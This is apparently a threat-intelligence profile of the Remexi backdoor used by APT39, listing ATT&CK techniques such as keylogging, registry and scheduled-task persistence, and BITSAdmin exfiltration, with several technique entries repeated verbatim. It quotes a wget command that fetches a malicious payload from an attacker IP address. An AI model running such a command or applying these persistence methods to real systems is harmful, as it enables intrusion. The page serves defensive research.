Remexi is a custom Windows backdoor used by the Iran-linked cyberespionage group Chafer, also known as APT39. It supports remote command execution and surveillance of compromised systems, including keystroke logging, clipboard text collection, screenshots of selected windows, and retrieval of active-window titles. It also collects system usernames for victim reconnaissance.
Remexi uses AutoIt and VBScript during execution and can execute operator-supplied WMI commands through the Windows Management Instrumentation command-line utility. It establishes persistence through scheduled tasks and machine-wide registry autostart mechanisms. Its configuration is protected with XOR encryption using 25-character keys. Command-and-control communications and data exfiltration use BITSAdmin, allowing collected information to leave the system over the same channel used for operator communications.
Remexi forms part of Chafer's espionage toolset. The group's targeting has included telecommunications, aviation, travel-related businesses, and government organizations, particularly in the Middle East.
1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Found as “mas.dll” in our telemetry, it has been previously depicted as a backdoor.
21 distinct techniques documented for this family, organized by ATT&CK tactic.
[Remexi](https://attack.mitre.org/software/S0375) executes received commands with wmic.exe (for WMI commands). (Citation: Securelist Remexi Jan 2019)
“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”
[Remexi](https://attack.mitre.org/software/S0375) utilizes scheduled tasks as a persistence mechanism.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) silently executes received commands with cmd.exe.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) uses AutoIt and VBS scripts throughout its execution process.(Citation: Securelist Remexi Jan 2019)
“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”
[Remexi](https://attack.mitre.org/software/S0375) utilizes scheduled tasks as a persistence mechanism.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) utilizes Run Registry keys in the HKLM hive as a persistence mechanism.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) achieves persistence using Userinit by adding the Registry key <code>HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</code>.(Citation: Securelist Remexi Jan 2019)
“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”
[Remexi](https://attack.mitre.org/software/S0375) utilizes scheduled tasks as a persistence mechanism.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) utilizes Run Registry keys in the HKLM hive as a persistence mechanism.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) achieves persistence using Userinit by adding the Registry key <code>HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</code>.(Citation: Securelist Remexi Jan 2019)
The content repeatedly describes payloads, strings, configuration files, scripts, URLs, and binaries being obfuscated or encoded using Base64, XOR, RC4, AES, RSA, hex encoding, custom algorithms, and other methods across many malware families and threat actors.
[Remexi](https://attack.mitre.org/software/S0375) obfuscates its configuration data with XOR.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) decrypts the configuration data using XOR with 25-character keys.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) gathers and exfiltrates keystrokes from the machine.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) has a command to capture active windows on the machine and retrieve window titles.(Citation: Securelist Remexi Jan 2019)
The content repeatedly describes malware and threat actors collecting the victim username, identifying logged-in users, running whoami, query user, quser, or similar commands to determine the current user or user sessions.
Multiple malware families and threat groups are described as collecting the victim username or enumerating logged-on users (e.g., “can collect the username from the victim’s machine”, “enumerates the current user during the initial infection”, “enumerates logged-on users”).
[Remexi](https://attack.mitre.org/software/S0375) searches for files on the system. (Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) gathers and exfiltrates keystrokes from the machine.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) takes screenshots of windows of interest.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) collects text from the clipboard.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) encrypts and adds all gathered browser data into files for upload to C2.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) uses [BITSAdmin](https://attack.mitre.org/software/S0190) to communicate with the C2 server over HTTP.(Citation: Securelist Remexi Jan 2019)
Examples in the content include: 'APT41 used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits,' 'During C0017, APT41 ran wget http://103.224.80[.]44:8080/kernel to download malicious payloads,' and multiple malware families using HTTP GET/POST to download additional payloads or files.
[Remexi](https://attack.mitre.org/software/S0375) performs exfiltration over [BITSAdmin](https://attack.mitre.org/software/S0190), which is also used for the C2 channel.(Citation: Securelist Remexi Jan 2019)
1 indicator attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
44 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.